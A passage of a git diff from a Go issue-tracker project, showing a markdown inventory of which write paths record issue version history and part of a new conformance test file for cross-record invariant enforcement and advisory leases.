issue, after its creation-time edges (`DeferVersionMint`) | +| dependencies.go:393 | `mintDependencyVersion` | from `addDependencyInTx` / `removeDependencyInTx`: legacy verbs, the publicops editor, batch-apply | +| execution.go:269 | `ExecuteUpdate` | once, after field, label, parent and persistence patches | +| labels.go:190 | `addLabelInTx` | label add | +| labels.go:239 | `removeLabelInTx` | label remove | +| lease.go:786 | `ReclaimExpiredLeasesInTx` | lease reclaim | +| persistence.go:76, :153 | `moveIssuePersistenceInTx` | persistence move (two sites in the one function) | +| promote.go:141 | `PromoteFromEphemeralInTx` | promote from ephemeral | +| reopen.go:126 | `reopenIssueInTx` | reopen | +| unclaim.go:137 | `finishUnclaimInTx` | unclaim / release | +| update.go:555 | `updateIssueInTx` | update | +| wake_defers.go:143 | `wakeExpiredDefersInTable` | defer wake | + +uow leg, `internal/storage/domain/db/` (9): + +| File:line | Method | Mutation | +|---|---|---| +| issue.go:87, :102 | issue repository `Insert` | create (two sites in the one method) | +| issue.go:339 | issue repository `Update` | update | +| issue.go:551 | issue repository `Claim` | claim | +| label.go:91 | label repository `Insert` | label add | +| label.go:130 | label repository `Delete` | label remove | +| dependency.go:228, :240 | dependency repository `Insert` | edge add (two sites in the one method) | +| dependency.go:409 | dependency repository `Delete` | edge remove | + +### Notes at this head + +- **What actually versions:** every accepted issue-plane mutation on every leg — create (singular, batch, import), update (and everything that reaches `updateIssueInTx`: metadata merge/delete/CAS, deleted-reference rewrite, compaction's content rewrite), dependency add and remove (editor, legacy verbs, uow repository, batch-apply), close, reopen, claim, unclaim/release, lease reclaim, defer wake, label add and remove, promote, persistence move. `version_completeness_test.go` pins 46 must-mint entry points with an exemption table (a reason per row) and an inverse never-mints guard; `embeddeddolt/version_completeness_behaviour_test.go` pins the runtime deltas. +- **Cross-leg symmetry on dependencies:** resolved. The dolt and embeddeddolt editors, the legacy store verbs and the uow repository all reach the seam through `addDependencyInTx` / `removeDependencyInTx`, gated on the row insert or delete. +- **Ordering inside a versioned call:** the mint is the last durable-state write. `ExecuteUpdate` mints once after its field, label, parent and persistence patches; batch create mints per issue after `PersistDependenciesWithOptionsResult`, so the first version carries the creation-time edge set. +- **Count vs design:** 21 VERSIONED, 13 OUT OF CONTRACT, 5 no-op gates (see Counts at this head). The design's "eighteen" is still not reconcilable item by item from this checkout. +- **Import upsert:** an unchanged re-import of an existing row still mints, and it also journals — `RecordEventInTx(EventCreate)` at create.go:207 runs on every accepted upsert — so the no-op gate belongs in front of both seams (gastownhall/beads#6379, item 2). +- **No FK from issue_versions to issues** (0067), so delete, rename and demote strand version rows under ids that no longer exist in `issues` — Phase 3 (gastownhall/beads#6379, item 6). +- **Non-canonicalizable snapshots fail the mutation** by policy: duplicate keys in an issue's `metadata` (a `json.RawMessage`) make `canonicalDurableState` return an error and abort the transaction with the flag on (gastownhall/beads#6379, item 3). +- **Single writer means one writer at a time per store,** not merely one clone: `MAX(revision)+1` is not a safe allocator for two concurrent transactions in one store either, and no contract case runs concurrent writers (gastownhall/beads#6379, item 4). +- **Exemption tables that name the seam:** journal_completeness_test.go `beadDMLExemptions` and row_lock_guard_test.go `funcNameExemptions` both list `RecordVersionInTx` as bookkeeping for an already-journaled mutation; unchanged. + +## As found at 321a79278 (historical; superseded above wherever the two parts differ) + +The table and notes below are the inventory as derived from the tree at 321a79278, the HEAD when it was read, and all line numbers in this part are against that commit. It is kept verbatim as the record of what the review found. Rows 13-23, 25, 27 and 34 are superseded by the current table above; the notes below that contradict the notes above are superseded too. + +| # | Path (file:function) | Writes | Events seam | Version seam | Disposition | Why | +|---|---|---|---|---|---|---| +| 1 | issueops/create.go:`CreateIssueInTxWithResult` (`CreateIssueInTx`; execution.go:`ExecuteCreate`; dolt/issues.go:`createIssue`; dolt/transaction.go and embeddeddolt/transaction.go `CreateIssue`) | issues or wisps row via `InsertIssueIfNew` (ON DUPLICATE KEY UPDATE upsert) + labels + comments | yes | yes | VERSIONED | both seams run once after labels/comments persist (create.go:193-197); an existing-row upsert (`isNew=false`) still mints — create has no field-level no-op gate | +| 2 | domain/db/issue.go:`issueSQLRepositoryImpl.Insert` (`InsertBatch` loops it; domain `IssueUseCase.CreateIssue`/`CreateWisp` from uow/issue_operations.go, uow/batch_creator.go, uow/batch_applier.go) | issues or wisps via `issueops.InsertIssueStrictInTx` | yes | yes | VERSIONED | uow leg; `RecordVersionInTx` directly after `RecordEventInTx` in both branches (issue.go:84-87, 99-102) | +| 3 | issueops/create.go:`CreateIssuesInTxWithContext` / `CreateIssuesInTxWithResult` (create_batch.go:`ExecuteCreateBatch`; store `CreateIssuesWithFullOptions` on both direct legs) | row 1 per issue, then `PersistDependenciesWithOptionsResult` | yes (per issue, plus dep events) | yes (per issue) | VERSIONED | per-issue loop (create.go:309); creation-time edges are inserted AFTER each issue's version row, so they are neither in that row's `durable_state` nor versioned themselves | +| 4 | Import: uow/importer.go:`importer.ImportBatch`; embeddeddolt/store.go:`ImportJSONLData`; embeddeddolt/transaction.go:`CreateIssueImport`; cmd/bd/import_shared.go via `store.CreateIssuesWithFullOptions` | as row 3 | yes | yes | VERSIONED | import is not a separate write path — it funnels into rows 1/3; at 321a79278 rows get `attribution_status` supplied/undetermined and `imported` is only reserved (version_history.go:57-61); 56b2199d4, which landed mid-session, collapses the values to claimed/unknown with no `imported` at all | +| 5 | issueops/update.go:`updateIssueInTx` (`UpdateIssueInTx`, `UpdateIssueWithoutEventInTx`; execution.go:`ExecuteUpdate`; metadata.go:`writeMergedMetadataInTx` from `MergeMetadataInTx`/`DeleteMetadataInTx`/metadata_cas.go:`CompareAndSetMetadataKeyInTx`; delete_role.go:`RewriteDeletedReferencesInTx`; compaction's content rewrite via `store.UpdateIssue`) | UPDATE issues or wisps SET fields, row_lock | yes | yes | VERSIONED | seams at update.go:544-547, after `DiscardNoopIssueUpdates` (:391) and NOT inside `if recordEvent` — `UpdateIssueWithoutEventInTx` still versions | +| 6 | domain/db/issue.go:`issueSQLRepositoryImpl.Update` (domain `IssueUseCase.ApplyUpdate` from uow/issue_operations.go, uow/batch_applier.go) | UPDATE issues or wisps | yes | yes | VERSIONED | uow leg; same no-op gate (issue.go:212-219), seams at :336-339 | +| 7 | issueops/dependency_editor.go:`addDependencyEdgeInTx` (`ExecuteAddDependencies` from dolt/dependency_editor.go, embeddeddolt/dependency_editor.go) | INSERT dependencies or wisp_dependencies via `AddDependencyInTx` (+ is_blocked marks) | yes (`RecordDepEventInTx` inside `addDependencyInTx`) | yes, iff `eventWritten` | VERSIONED | versions the referencing (source) issue only when a row was recorded (dependency_editor.go:180-183) | +| 8 | issueops/dependency_editor.go:`ExecuteRemoveDependency` (from dolt/dependency_editor.go, embeddeddolt/dependency_editor.go) | DELETE dependencies or wisp_dependencies via `RemoveDependencyInTx` | yes | yes, iff `eventWritten` | VERSIONED | returns `Removed:false` before the seam when no row matched (:263-274) | +| 9 | update.go:`updateIssueInTx` / domain/db/issue.go:`Update` when `DiscardNoopIssueUpdates` leaves no field | nothing | no | no | NO-OP | returns before the UPDATE (update.go:391-397; issue.go:212-219) — the FR-2 contract case | +| 10 | dependency_editor.go:`addDependencyEdgeInTx` on a same-type re-add | UPDATE dependencies SET metadata (dependencies.go:274) | yes (dependencies.go:281) | no | NO-OP | `addDependencyInTx` returns `eventWritten=false` on the existing-edge branch, so the seam is skipped although metadata is rewritten and journaled | +| 11 | dependency_editor.go:`ExecuteRemoveDependency` on an absent edge | nothing | no | no | NO-OP | `removeDependencyInTx` reports `eventWritten=false`; editor returns at :267 | +| 12 | create.go:`CreateIssueInTxWithResult` on collision-skip, `ConflictSkip` or `RejectStaleUpserts` hit | nothing | no | no | NO-OP | early returns at create.go:126-128, 135-143 precede both seams | +| 13 | any of rows 1-8 whose target row is a wisp | as per row | yes | no | NO-OP | `RecordVersionInTx` returns nil on `IsWisp` (version_history.go:96, FR-8); wisps.current_revision stays at its default | +| 14 | dependencies.go:`addDependencyInTx` via `AddDependencyInTx` from the store verbs — dolt/dependencies.go:`addDependencyWithOptions`, dolt/transaction.go and embeddeddolt/transaction.go `AddDependencyWithOptions`, embeddeddolt/dependencies.go, dolt/wisps.go:`addWispDependency`, batch_apply.go:`applyBatchRun.applyDepAdd`, aggregate.go:`ApplyParentPatch` | INSERT dependencies or wisp_dependencies | yes | no | OUT OF CONTRACT | same DML as row 7 but no caller invokes `RecordVersionInTx`; only the publicops editor role versions | +| 15 | domain/db/dependency.go:`dependencySQLRepositoryImpl.Insert` (domain `DependencyUseCase.AddDependencies` from uow/dependency_editor.go and uow/batch_applier.go; `IssueUseCase` create-time edges, domain/issue.go:980,1041,1053) | INSERT dependencies or wisp_dependencies | yes | no | OUT OF CONTRACT | the uow leg's dependency add never reaches the seam — only `Insert`/`Update` in domain/db/issue.go do | +| 16 | dependencies.go:`removeDependencyInTx` via `RemoveDependencyInTx` from store verbs (dolt/dependencies.go and both transactions `RemoveDependencyWithOptions`, `ApplyParentPatch`) and domain/db/dependency.go:`Delete` (uow `RemoveDependencyBySource`) | DELETE dependencies or wisp_dependencies | yes (when EmitEvent) | no | OUT OF CONTRACT | as row 14 | +| 17 | close.go:`closeIssueInTx` (`CloseIssueInTx`, `CloseIssueWithoutEventInTx`, `CloseIssueCheckedInTx`; execution.go:`ExecuteClose`; close_batch.go:`ExecuteCloseBatch` loops `ExecuteClose`; domain/db `Close`/`CloseChecked`) | UPDATE issues or wisps SET status, closed_at, close_reason, closed_by_session, row_lock (close.go:340) | yes (EventClose, close.go:387, not gated by `recordEvent`) | no | OUT OF CONTRACT | direct UPDATE; never calls `RecordVersionInTx`, so a close is invisible to issue_versions | +| 18 | reopen.go:`reopenIssueInTx` (`ReopenIssueInTx`; execution.go:`ExecuteReopen`; domain/db `Reopen`) | UPDATE status/closed_at (reopen.go:64) | yes | no | OUT OF CONTRACT | as row 17 | +| 19 | claim.go:`ClaimIssueInTx` (public_claim.go:`ExecuteClaim`; `ClaimReadyIssueInTx` from claim_next.go:`ExecuteClaimNext`; `ExecuteUpdate`'s Claim flag) and domain/db/issue.go:`Claim` (uow) | UPDATE assignee/status/started_at (claim.go:115,124; issue.go:478,488) | yes | no | OUT OF CONTRACT | a claim-only request mints nothing; `ExecuteUpdate` versions only if other fields also change (execution.go: `ClaimIssueInTx` then `if len(updates) > 0`) | +| 20 | unclaim.go:`UnclaimIssueInTx` / `UnclaimIssueIfAssigneeInTx` via `finishUnclaimInTx`; release_role.go:`ReleaseIssueInTx` wraps them (domain/db `UnclaimIssue`/`ReleaseIssue`) | UPDATE assignee/status (unclaim.go:80,197) | yes | no | OUT OF CONTRACT | direct UPDATE | +| 21 | lease.go:`ReclaimExpiredLeasesInTx` (dolt/issues.go:473, embeddeddolt/issues.go:134, domain/db `ReclaimExpiredLeases`) | UPDATE issues assignee/status revert (lease.go:758) + DELETE leases | yes | no | OUT OF CONTRACT | `HeartbeatIssueInTx` writes only `leases` and is not an issue-record write | +| 22 | wake_defers.go:`wakeExpiredDefersInTable` (`WakeExpiredDefersInTx`; dolt/queries.go:63, embeddeddolt/queries.go:33, domain/db `WakeExpiredDefers`) | UPDATE status (wake_defers.go:116) | yes (actor `DeferWakeActor`) | no | OUT OF CONTRACT | scheduled status flip outside the seam | +| 23 | labels.go:`AddLabelInTx` / `RemoveLabelInTx` (dolt/labels.go, embeddeddolt/labels.go, both transactions, aggregate.go:`ApplyLabelPatch` from `ExecuteUpdate`) and domain/db/label.go:`Insert` / `Delete` (uow `LabelUseCase`) | INSERT IGNORE / DELETE labels or wisp_labels | yes (EventUpdate) | no | OUT OF CONTRACT | labels ARE in `durable_state` (get_issue.go:59 hydrates them) but a label change mints nothing; in `ExecuteUpdate` the label patch runs after `UpdateIssueInTx`'s mint, so a same-call field+label edit records the old label set | +| 24 | comments.go:`addIssueCommentInTx` (`AddIssueCommentInTx`, `ImportIssueCommentInTx`, commenter.go:`ExecuteAddComment`); dolt/transaction.go:`AddComment` / `ImportIssueComment` (`InsertDerivedEventReturningID` / `InsertDerivedComment`); domain/db/comment.go:`InsertRecord` (uow `CommentUseCase`); create.go:`PersistComments` | INSERT comments or wisp_comments (dolt tx `AddComment` writes an events-table comment row) | yes (`RecordCommentEventInTx`) | no | OUT OF CONTRACT | comments are not in `durable_state` either (`GetIssueInTx` joins labels, not comments) | +| 25 | promote.go:`PromoteFromEphemeralInTx` (dolt/ephemeral_routing.go:205, embeddeddolt/store.go:1003, domain/db `PromoteFromEphemeral`) | INSERT issues (+ label/dep/comment copies), DELETE wisps | yes | no | OUT OF CONTRACT | promoted row lands with current_revision default 1 and no version row | +| 26 | dolt/ephemeral_routing.go:`DoltStore.demoteToWispInTx` | `UpdateIssueWithoutEventInTx` (row 5), then raw aux copies + DELETE FROM issues (:303) | yes | yes (update half only) | OUT OF CONTRACT | mints a version row for an issue the same tx then deletes; issue_versions has no FK to issues (0067), so the row strands | +| 27 | persistence.go:`MoveIssuePersistenceInTx` (`ExecuteUpdate` persistence patch; domain/db `MovePersistence`) | `InsertIssueStrictInTx` into the target plane, copy aux, DELETE source (persistence.go:70,106) | yes (twice) | no | OUT OF CONTRACT | plane move bypasses both the create and update seams | +| 28 | delete.go:`deleteIssueRowInTx` / `DeleteIssuesInTx` / `DeleteResolvedSetInTx`; delete_role.go:`DeleteInTx`; sweep.go:`SweepInTx`; dolt/wisps.go:`deleteWisp` / `deleteWispBatchTx`; domain/db/issue.go:`Delete` / `DeleteByIDs` (+ label/dependency/events `DeleteAllForIDs`, domain/issue_delete.go) | DELETE issues or wisps + aux + leases | yes (`RecordDeleteInTx`) | no | OUT OF CONTRACT | no surviving row; the deleted-Versioned-Bead guarantee is Phase 3 (PR #6358); orphaned issue_versions rows remain. delete_role.go:`RewriteDeletedReferencesInTx` then goes through row 5, so neighbours DO mint versions | +| 29 | bulk_ops.go:`DeleteIssuesBySourceRepoInTx` (dolt/issues.go:946, embeddeddolt/store.go:987) | bulk DELETE issues WHERE source_repo = ? | yes (per id) | no | OUT OF CONTRACT | bulk path | +| 30 | bulk_ops.go:`UpdateIssueIDInTx` via `updateIssueIDInTx` / `updateWispIDInTx` (dolt/rename.go:14, embeddeddolt/store.go:995) | UPDATE issues SET id = ? + dependency rekey | yes (dep-remove, delete old, create new, dep-add via `recordRenameInJournal`) | no | OUT OF CONTRACT | history stays keyed to the old issue_id; the new id carries current_revision with no matching rows | +| 31 | compaction.go:`ApplyCompactionInTx` (dolt/compact.go:52, embeddeddolt/store.go:1179) | UPDATE issues SET compaction_level, compacted_at, compacted_at_commit, original_size, updated_at | no (`beadDMLExemptions`) | no | OUT OF CONTRACT | the content rewrite that precedes it (internal/compact/compactor.go:147, cmd/bd/compact.go:702 via `store.UpdateIssue`) IS row 5, so compaction mints exactly one version for the summary while its own columns land unversioned | +| 32 | compaction.go:`RestoreFromSnapshotInTx` (dolt/compact.go:82, embeddeddolt/store.go:1203) | UPDATE issues content from snapshot (compaction.go:173,181) | no | no | OUT OF CONTRACT | restore's CAS composition is Phase 3 (PR #6358) | +| 33 | blocked_state.go mark/unmark templates via `RecomputeIsBlocked*` / `MarkIsBlockedInTx`; dependencies.go:`markDirectBlockingDependencySourceInTx`; domain/db/dependency.go:`markDirectBlockedSource` | UPDATE issues or wisps SET is_blocked | yes, flips only (journal.go:`recordBlockedJournalChanges`, actorless) | no | OUT OF CONTRACT | derived state; is_blocked is not hydrated into `durable_state` | +| 34 | batch_apply.go:`applyBatchRun` (`ApplyBatch`; uow/batch_applier.go) | per item: create rows 1/2, update rows 5/6, close row 17, dep add rows 14/15 | per item | per item | OUT OF CONTRACT (mixed) | dep-add items call `AddDependencyInTx` / `DependencyUseCase.AddDependencies`, never the versioned editor | +| 35 | schema/cli_migrations.go:`cliMigration0053RepairRigWisps` (INSERT IGNORE INTO issues, UPDATE issues, DELETE FROM wisps); schema/migration_repairs.go and schema/wisp_dep_forward_repair.go (dependencies rewrites) | migration DML | no | no | OUT OF CONTRACT | 0067/0068 themselves are DDL only (ADD COLUMN ... DEFAULT 1; no row backfill) | +| 36 | versioncontrolops/automerge.go:`resolveIssuesFieldMerge` (UPDATE `issues`); versioncontrolops/mergesettle.go:`TryRepairFKCascadeViolations` (`fkCascadeRepairDeletes` on dependencies/labels/comments) | merge-settle rewrites and orphan deletes | no | no | OUT OF CONTRACT | raw connection during merge settlement | +| 37 | dolt/federation.go:`deleteExcludedIssues` (from `stageFilteredBranch`) | DELETE FROM issues WHERE ephemeral = 1 / issue_type = ? on the staging branch | no | no | OUT OF CONTRACT | raw conn on a filtered-push branch | +| 38 | cmd/bd/doctor/fix/validation.go:`OrphanedDependencies` / `ChildParentDependencies` / `CrossTableDuplicates` | `tx.Exec` DELETE FROM dependencies / issues | no | no | OUT OF CONTRACT | raw doctor fixes | +| 39 | cmd/bd/sql.go (`storage.RawDBAccessor.UnderlyingDB` then `db.ExecContext`); cmd/bd/sql_proxied_server.go via uow `RawSQLUseCase().Exec` to domain/db/raw_sql.go | arbitrary SQL | no | no | OUT OF CONTRACT | the proxied variant runs inside a uow tx with the version scope bound (uow/dolt_sql_provider.go:178) but raw SQL never calls the seam | +| 40 | issueops/bootstrap.go:`BootstrapInTx` (uow/bootstrapper.go, hook_bootstrapper.go) | config + metadata tables only (`SetConfigInTx`, `SetMetadataInTx`) | no | no | OUT OF CONTRACT (n/a) | writes no issue-plane row at all | +| 41 | PLANNED 18th: `fk_dep_issue_target` ON DELETE CASCADE (schema/cli_migrations.go:284,311; migrations 0041/0043) | DB-level cascade deleting dependencies rows when their target issues row is deleted; no Go call site | no | no | Phase 3 (planned) | PR #6358 body: "Phase 3 items by design: the `fk_dep_issue_target` cascade (the 18th path)"; today it fires silently underneath rows 28-29 | + +### Notes as found at 321a79278 + +- **Count vs design.** Grouping by leaf mutation function, the code has **34 live issue-plane write paths** (rows 1-8 and 14-39; row 40 excluded because it writes no issue row; rows 9-13 are gates inside rows 1-8) plus the planned FK cascade — not eighteen. Of the 34, **8 are VERSIONED, 26 OUT OF CONTRACT**, and 5 NO-OP gates sit inside the versioned ones. The design's own list (be-hs42e.3) is not resolvable from this checkout or `bd show`; only PR #6358's "the 18th path" line was found, so the eighteen could not be reconciled item by item. +- **What actually versions:** create, update (and their uow twins in domain/db/issue.go) and the publicops dependency editor. Every other journaled mutation — close, reopen, claim, unclaim/release, lease reclaim, defer wake, labels, comments, promote, persistence move, delete, rename — reaches `RecordEventInTx` but never `RecordVersionInTx`, even though version_history.go:20-27 describes the seam as living "inside the same already-short-circuited functions that call RecordEventInTx". journal_completeness_test.go pins 57 `mutationEntryPoints` for the journal; the version seam is wired into 3 of them, and no equivalent completeness test exists for it. +- **Cross-leg asymmetry on dependencies:** the dolt and embeddeddolt DependencyEditor roles version (rows 7-8); the uow DependencyEditor role goes through domain/db dependency `Insert`/`Delete` and does not (rows 15-16). The legacy store verbs `AddDependency`/`RemoveDependency` do not on any leg (rows 14, 16). +- **Versioned only via a helper:** `MergeMetadataInTx`, `DeleteMetadataInTx`, `CompareAndSetMetadataKeyInTx`, `RewriteDeletedReferencesInTx`, compaction's content rewrite and `demoteToWispInTx` version solely because they call `UpdateIssueInTx` / `UpdateIssueWithoutEventInTx`. +- **Per-issue loops:** batch create, import, uow `InsertBatch` (versioned per issue); `ExecuteCloseBatch` loops `ExecuteClose` (row 17, unversioned per issue); `DeleteIssuesInTx` (unversioned). +- **Ordering inside a versioned call:** batch-create edges (row 3) and `ExecuteUpdate`'s label/parent patches (rows 23, 14) land after the mint, so the minted `durable_state` predates them. +- **Import upsert:** an unchanged re-import of an existing row (`isNew=false`, stale check not tripped) mints a version because create has no field-level no-op gate — unlike update's FR-2 behaviour (row 9). +- **No FK from issue_versions to issues** (migration 0067 creates the table without one), so delete, rename and demote (rows 26, 28, 30) strand version rows under ids that no longer exist in issues. +- **Exemption tables that name the seam:** journal_completeness_test.go `beadDMLExemptions` and row_lock_guard_test.go `funcNameExemptions` both list `RecordVersionInTx` as bookkeeping for an already-journaled mutation. +- **Drift during this session (2026-09-07 13:31-13:33):** the branch advanced to 56b2199d4 (`attribution_status` renamed to claimed|unknown, ordinals documented as local) and the working tree then carried further uncommitted edits by another agent — version_history.go (RFC 8785 canonical `durable_state` via `jcs`, with go.mod/go.sum), cli_migrations.go, the 0068 up/down SQL, three schema tests and an untracked version_history_durable_state_test.go. Neither adds or removes a `RecordVersionInTx` call site (the six above were re-verified against 321a79278 and the live tree) and no disposition changes; this inventory is against 321a79278 and does not cover them. diff --git a/backend/conformance/cross_record_invariant_contract.go b/backend/conformance/cross_record_invariant_contract.go new file mode 100644 index 000000000..e872ca613 --- /dev/null +++ b/backend/conformance/cross_record_invariant_contract.go @@ -0,0 +1,372 @@ +package conformance + +import ( + "context" + "testing" + "time" +) + +// This file holds the contract for R16.1 (gastownhall/beads#6133, +// be-hs42e.1 §5-§7, FR-02, FR-03): enforcement that spans more than one +// record, which ExpectedRevisionFixture's per-record CompareAndSetVersion +// structurally cannot see. +// +// GuardedWrite AND ExpectedRevisionFixture.CompareAndSetVersion SHARE THE +// EXACT SAME TYPE, PerRecordCASWrite, declared once in +// expected_revision_contract.go. R16.1-a's boundary claim is literally that +// the second is the first, called twice against records that individually +// pass but jointly violate a store invariant — sharing the type makes that +// claim structural, checked by the compiler, rather than merely asserted in +// a doc comment. +// +// TWO CONCRETE SUBJECTS ARE REQUIRED BY FR-02 RATHER THAN INVENTED HERE: +// Memory key/alias uniqueness (#5877 R2) and graph-edge +// MaximumEndpointMultiplicity. MemoryKeyAliasWrite and GraphEdgeWrite exist +// so the cases named for them construct a REAL joint violation in each +// subject's own vocabulary, rather than a synthetic one this file made up. +// +// EVERY HOOK BELOW IS INDEPENDENTLY NILABLE — see the package-level note in +// expected_revision_contract.go. Every case nil-checks every hook it uses +// and SKIPS BY NAME when one is missing. + +// RecordWrite is one record's half of a multi-record write submitted to +// EnforceCrossRecordInvariant. +type RecordWrite struct { + ID string + Expected *Address + Patch map[string]any +} + +// InvariantResult is the outcome of a call to EnforceCrossRecordInvariant. +type InvariantResult struct { + Accepted bool + InvariantRefusal *InvariantRefusal +} + +// InvariantRefusal names the specific store invariant a multi-record write +// violated (R16.1-c) — never a bare boolean, so a caller (and a test) can +// tell which invariant fired. +type InvariantRefusal struct { + InvariantName string +} + +// LeaseHandle is an advisory lease over subject. It is observed by +// convention only (FR-03): holding one does not, by itself, change what any +// per-record or invariant-enforcing write accepts. +type LeaseHandle struct { + Subject string + ExpiresAt time.Time + // Release ends the lease early. A nil Release means the fixture expects + // the lease to simply expire; cases treat a nil Release as optional + // cleanup, not a required call. + Release func(ctx context.Context) error +} + +// CrossRecordInvariantFixture supplies the capabilities under test for +// R16.1: enforcement that spans more than one record, and the advisory +// lease primitive FR-03 says is insufficient on its own to provide it. +type CrossRecordInvariantFixture struct { + IssuePrefix string + + // GuardedWrite is a per-record CAS write over the SAME type as + // ExpectedRevisionFixture.CompareAndSetVersion (PerRecordCASWrite) — see + // this file's package doc comment for why. A nil hook means this + // backend exposes no per-record guard to construct the boundary case + // against, and cases that need one skip with that reason. + GuardedWrite PerRecordCASWrite + + // EnforceCrossRecordInvariant evaluates writes as one joint operation + // and refuses the whole batch, with a named InvariantRefusal, if + // accepting it would violate a store invariant spanning more than one + // of the given records. A nil hook means this backend has not wired + // store-invariant enforcement yet, and cases that need one skip with + // that reason. + EnforceCrossRecordInvariant func(ctx context.Context, writes []RecordWrite) (InvariantResult, error) + + // AcquireAdvisoryLease acquires a convention-only lease over subject for + // up to ttl. A nil hook means this backend has no lease primitive to + // test as an insufficient guard, and cases that need one skip with that + // reason. + AcquireAdvisoryLease func(ctx context.Context, subject string, ttl time.Duration) (LeaseHandle, error) + + // CountHistoryForSubject reports how many durable history entries exist + // for subject. A nil hook means this backend cannot observe history by + // subject, and cases that need one skip with that reason. + CountHistoryForSubject func(ctx context.Context, subject string) (int, error) + + // MemoryKeyAliasWrite writes memoryID's key/alias pair unconditionally, + // in the shape of a per-record write (FR-02's first named subject, + // #5877 R2). A nil hook means this backend exposes no Memory key/alias + // write to probe, and the case that needs it skips with that reason. + MemoryKeyAliasWrite func(ctx context.Context, memoryID, key, alias string) (ExpectedRevisionResult, error) + + // GraphEdgeWrite writes a graph edge unconditionally, in the shape of a + // per-record write (FR-02's second named subject, + // MaximumEndpointMultiplicity). A nil hook means this backend exposes no + // graph edge write to probe, and the case that needs it skips with that + // reason. + GraphEdgeWrite func(ctx context.Context, fromID, toID, edgeType string) (ExpectedRevisionResult, error) +} + +// RunCrossRecordInvariantSurvivesTwoPassingPerRecordGuards pins R16.1-a's +// boundary claim directly: two writes, each individually valid under +// GuardedWrite (== CompareAndSetVersion), that JOINTLY violate a store +// invariant neither call's own precondition can see. Both must be Accepted +// through GuardedWrite alone — the whole point of R16.1 is that this +// per-record guard cannot catch what only spans records. +func RunCrossRecordInvariantSurvivesTwoPassingPerRecordGuards(t *testing.T, ctx context.Context, fixture CrossRecordInvariantFixture) { + t.Helper() + if fixture.GuardedWrite == nil { + t.Skip("this backend exposes no per-record guard to construct the boundary case against (GuardedWrite is nil)") + } + shared := fixture.IssuePrefix + "-crossrec-shared-alias" + + first, err := fixture.GuardedWrite(ctx, fixture.IssuePrefix+"-crossrec-a", nil, map[string]any{"alias": shared}) + if err != nil { + t.Fatalf("GuardedWrite(a): %v", err) + } + if !first.Accepted { + t.Fatalf("GuardedWrite(a) claiming alias %q was refused (Refusal=%+v), want Accepted: a per-record guard cannot see a joint violation", shared, first.Refusal) + } + + second, err := fixture.GuardedWrite(ctx, fixture.IssuePrefix+"-crossrec-b", nil, map[string]any{"alias": shared}) + if err != nil { + t.Fatalf("GuardedWrite(b): %v", err) + } + if !second.Accepted { + t.Fatalf("GuardedWrite(b) claiming the SAME alias %q was refused (Refusal=%+v), want Accepted (R16.1-a: per-record CAS structurally cannot catch a cross-record conflict)", shared, second.Refusal) + } +} + +// RunStoreInvariantTransactionScopesExactlyTheSpanningRecords pins R16.1-b: +// EnforceCrossRecordInvariant refuses a batch that jointly violates an +// invariant, and — checked against an unrelated, non-conflicting write in +// the same call shape — must not refuse more broadly than the records that +// actually span the violation. +func RunStoreInvariantTransactionScopesExactlyTheSpanningRecords(t *testing.T, ctx context.Context, fixture CrossRecordInvariantFixture) { + t.Helper() + if fixture.EnforceCrossRecordInvariant == nil { + t.Skip("this backend has not wired store-invariant enforcement yet (EnforceCrossRecordInvariant is nil)") + } + shared := fixture.IssuePrefix + "-crossrec-scope-alias" + spanning := []RecordWrite{ + {ID: fixture.IssuePrefix + "-crossrec-scope-a", Patch: map[string]any{"alias": shared}}, + {ID: fixture.IssuePrefix + "-crossrec-scope-b", Patch: map[string]any{"alias": shared}}, + } + + var beforeA, beforeB int + if fixture.CountHistoryForSubject != nil { + var err error + beforeA, err = fixture.CountHistoryForSubject(ctx, spanning[0].ID) + if err != nil { + t.Fatalf("CountHistoryForSubject(%s) before the refused batch: %v", spanning[0].ID, err) + } + beforeB, err = fixture.CountHistoryForSubject(ctx, spanning[1].ID) + if err != nil { + t.Fatalf("CountHistoryForSubject(%s) before the refused batch: %v", spanning[1].ID, err) + } + } else { + t.Logf("this backend cannot observe history by subject (CountHistoryForSubject is nil): the before-batch history counts for %s and %s go uncaptured", spanning[0].ID, spanning[1].ID) + } + + result, err := fixture.EnforceCrossRecordInvariant(ctx, spanning) + if err != nil { + t.Fatalf("EnforceCrossRecordInvariant(spanning): %v", err) + } + if result.Accepted { + t.Fatal("EnforceCrossRecordInvariant accepted two writes that jointly violate the shared-alias invariant") + } + + if fixture.CountHistoryForSubject != nil { + afterA, err := fixture.CountHistoryForSubject(ctx, spanning[0].ID) + if err != nil { + t.Fatalf("CountHistoryForSubject(%s) after the refused batch: %v", spanning[0].ID, err) + } + afterB, err := fixture.CountHistoryForSubject(ctx, spanning[1].ID) + if err != nil { + t.Fatalf("CountHistoryForSubject(%s) after the refused batch: %v", spanning[1].ID, err) + } + if afterA != beforeA || afterB != beforeB { + t.Errorf("a refused batch left a trace: history count for %s went %d->%d, for %s went %d->%d; a refusal must be atomic — the whole batch takes no effect, not just the record that individually triggered it", spanning[0].ID, beforeA, afterA, spanning[1].ID, beforeB, afterB) + } + } else { + t.Logf("this backend cannot observe history by subject (CountHistoryForSubject is nil): the refused batch's atomicity (no partial trace left behind for %s or %s) goes unverified", spanning[0].ID, spanning[1].ID) + } + + unrelated := []RecordWrite{ + {ID: fixture.IssuePrefix + "-crossrec-scope-unrelated", Patch: map[string]any{"alias": fixture.IssuePrefix + "-crossrec-scope-unrelated-alias"}}, + } + independent, err := fixture.EnforceCrossRecordInvariant(ctx, unrelated) + if err != nil { + t.Fatalf("EnforceCrossRecordInvariant(unrelated): %v", err) + } + if !independent.Accepted { + t.Fatalf("EnforceCrossRecordInvariant refused an unrelated, non-conflicting write (InvariantRefusal=%+v); the invariant transaction must scope exactly the spanning records, not more", independent.InvariantRefusal) + } +} + +// RunInvariantRefusalNamesTheViolatedInvariant pins R16.1-c: a refused batch +// carries an InvariantRefusal naming the specific invariant that fired, not +// a bare boolean. +func RunInvariantRefusalNamesTheViolatedInvariant(t *testing.T, ctx context.Context, fixture CrossRecordInvariantFixture) { + t.Helper() + if fixture.EnforceCrossRecordInvariant == nil { + t.Skip("this backend has not wired store-invariant enforcement yet (EnforceCrossRecordInvariant is nil)") + } + shared := fixture.IssuePrefix + "-crossrec-named-alias" + result, err := fixture.EnforceCrossRecordInvariant(ctx, []RecordWrite{ + {ID: fixture.IssuePrefix + "-crossrec-named-a", Patch: map[string]any{"alias": shared}}, + {ID: fixture.IssuePrefix + "-crossrec-named-b", Patch: map[string]any{"alias": shared}}, + }) + if err != nil { + t.Fatalf("EnforceCrossRecordInvariant: %v", err) + } + if result.Accepted { + 